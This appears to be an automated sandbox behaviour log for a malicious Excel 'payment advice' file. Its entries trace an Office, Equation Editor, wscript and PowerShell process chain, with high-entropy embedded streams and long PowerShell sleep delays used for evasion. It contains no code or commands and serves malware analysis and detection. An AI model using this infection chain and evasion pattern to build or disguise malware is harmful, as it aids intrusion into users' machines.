Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	Stream path 'MBD000177E1/Package' entropy: 7.97199048762 (max. 8.0)
Source: #U00d6DEME TAVS#U0130YES#U0130.xls	Stream path 'Workbook' entropy: 7.99929650029 (max. 8.0)
Source: ~DFB88BC22996138750.TMP.0.dr	Stream path 'Package' entropy: 7.96718436442 (max. 8.0)
Source: F0630000.0.dr	Stream path 'MBD000177E1/Package' entropy: 7.96718436442 (max. 8.0)
Source: F0630000.0.dr	Stream path 'Workbook' entropy: 7.99930766343 (max. 8.0)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5693			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 863			Jump to behavior